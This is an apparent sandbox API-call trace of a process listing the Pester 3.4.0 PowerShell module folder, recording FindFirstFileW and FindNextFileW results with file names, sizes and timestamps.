	[0161.852] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\Assertions\\*", lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb537bc07, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a628ff7, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd040
	[0161.853] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb537bc07, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a628ff7, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0161.853] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e3f39a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e3f39a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e3f39a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1021, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Be.ps1", cAlternateFileName="")) returned 1
	[0161.853] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fe2e0e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fe2e0e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fe2e0e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Be.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.853] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f4a475, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f4a475, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f4a475, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x176, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BeGreaterThan.ps1", cAlternateFileName="")) returned 1
	[0161.853] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f706d4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f706d4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f706d4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1ff, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BeGreaterThan.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.854] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f9693c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f9693c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fbcba3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x16d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BeLessThan.ps1", cAlternateFileName="")) returned 1
	[0161.854] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f24202, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f24202, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f24202, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1ee, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BeLessThan.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.854] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f24202, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f24202, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f24202, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x185, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BeLike.ps1", cAlternateFileName="")) returned 1
	[0161.854] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e6560d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e6560d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e6560d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1e9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BeLike.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.854] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96efdfa3, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96efdfa3, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96efdfa3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x19d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BeLikeExactly.ps1", cAlternateFileName="")) returned 1
	[0161.854] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97009075, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97009075, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97009075, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1fc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BeLikeExactly.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.854] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97009075, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97009075, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97009075, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x243, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BeNullOrEmpty.ps1", cAlternateFileName="")) returned 1
	[0161.855] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f4a475, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f4a475, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f4a475, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1da, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BeNullOrEmpty.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.855] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f706d4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f706d4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f706d4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x573, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BeOfType.ps1", cAlternateFileName="")) returned 1
	[0161.855] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e6560d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e6560d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e6560d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BeOfType.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.855] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f9693c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f9693c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f9693c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1c6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Contain.ps1", cAlternateFileName="")) returned 1
	[0161.855] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f4a475, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f4a475, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f4a475, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3ec, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Contain.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.855] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9702f2dc, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9702f2dc, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9702f2dc, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1ea, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ContainExactly.ps1", cAlternateFileName="")) returned 1
	[0161.855] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f9693c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f9693c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f9693c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x361, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ContainExactly.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.855] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e8b875, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e8b875, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96efdfa3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x121, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Exist.ps1", cAlternateFileName="")) returned 1
	[0161.856] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fbcba3, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fbcba3, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fbcba3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3e7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Exist.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.856] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e6560d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e6560d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e6560d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x183, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Match.ps1", cAlternateFileName="")) returned 1
	[0161.856] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9702f2dc, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9702f2dc, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9702f2dc, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x24b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Match.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.856] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f9693c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f9693c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f9693c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1a9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MatchExactly.ps1", cAlternateFileName="")) returned 1
	[0161.856] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e6560d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e6560d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e6560d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1f7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MatchExactly.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.856] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fe2e0e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fe2e0e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fe2e0e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8f3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PesterThrow.ps1", cAlternateFileName="")) returned 1
	[0161.856] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e6560d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e6560d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e6560d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1340, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PesterThrow.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.857] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fe2e0e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fe2e0e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fe2e0e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3f5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Set-TestInconclusive.ps1", cAlternateFileName="")) returned 1
	[0161.857] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fe2e0e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fe2e0e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fe2e0e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xca7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Should.ps1", cAlternateFileName="")) returned 1
	[0161.857] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fbcba3, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fbcba3, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fbcba3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x151f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Should.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.857] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fbcba3, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fbcba3, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fbcba3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x119, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Test-Assertion.ps1", cAlternateFileName="")) returned 1
	[0161.857] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fbcba3, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fbcba3, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fbcba3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x119, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Test-Assertion.ps1", cAlternateFileName="")) returned 0
	[0161.857] FindClose (in: hFindFile=0x5dd040 | out: hFindFile=0x5dd040) returned 1
	[0161.858] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45dcde0 | out: hHeap=0x4f0000) returned 1
	[0161.858] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f24202, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f24202, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f24202, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BreakAndContinue.Tests.ps1", cAlternateFileName="")) returned 1
	[0162.121] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f9693c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f9693c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f9693c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x921, dwReserved0=0x0, dwReserved1=0x0, cFileName="Context.ps1", cAlternateFileName="")) returned 1
	[0162.122] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fbcba3, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fbcba3, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fbcba3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Context.Tests.ps1", cAlternateFileName="")) returned 1
	[0162.122] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f706d4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f706d4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f706d4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x4559, dwReserved0=0x0, dwReserved1=0x0, cFileName="Coverage.ps1", cAlternateFileName="")) returned 1
	[0162.122] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fe2e0e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fe2e0e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fe2e0e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2cac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Coverage.Tests.ps1", cAlternateFileName="")) returned 1
	[0162.122] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f706d4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f706d4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f706d4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xff9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Describe.ps1", cAlternateFileName="")) returned 1
	[0162.122] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fe2e0e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fe2e0e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fe2e0e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Describe.Tests.ps1", cAlternateFileName="")) returned 1
	[0162.122] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f24202, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f24202, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f24202, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="GlobalMock-A.Tests.ps1", cAlternateFileName="")) returned 1
	[0162.122] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f24202, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f24202, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f24202, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="GlobalMock-B.Tests.ps1", cAlternateFileName="")) returned 1
	[0162.122] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97009075, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97009075, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97009075, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x335, dwReserved0=0x0, dwReserved1=0x0, cFileName="In.ps1", cAlternateFileName="")) returned 1
	[0162.123] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f4a475, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f4a475, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f4a475, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x0, cFileName="In.Tests.ps1", cAlternateFileName="")) returned 1
	[0162.123] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9702f2dc, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9702f2dc, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9702f2dc, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf41, dwReserved0=0x0, dwReserved1=0x0, cFileName="InModuleScope.ps1", cAlternateFileName="")) returned 1
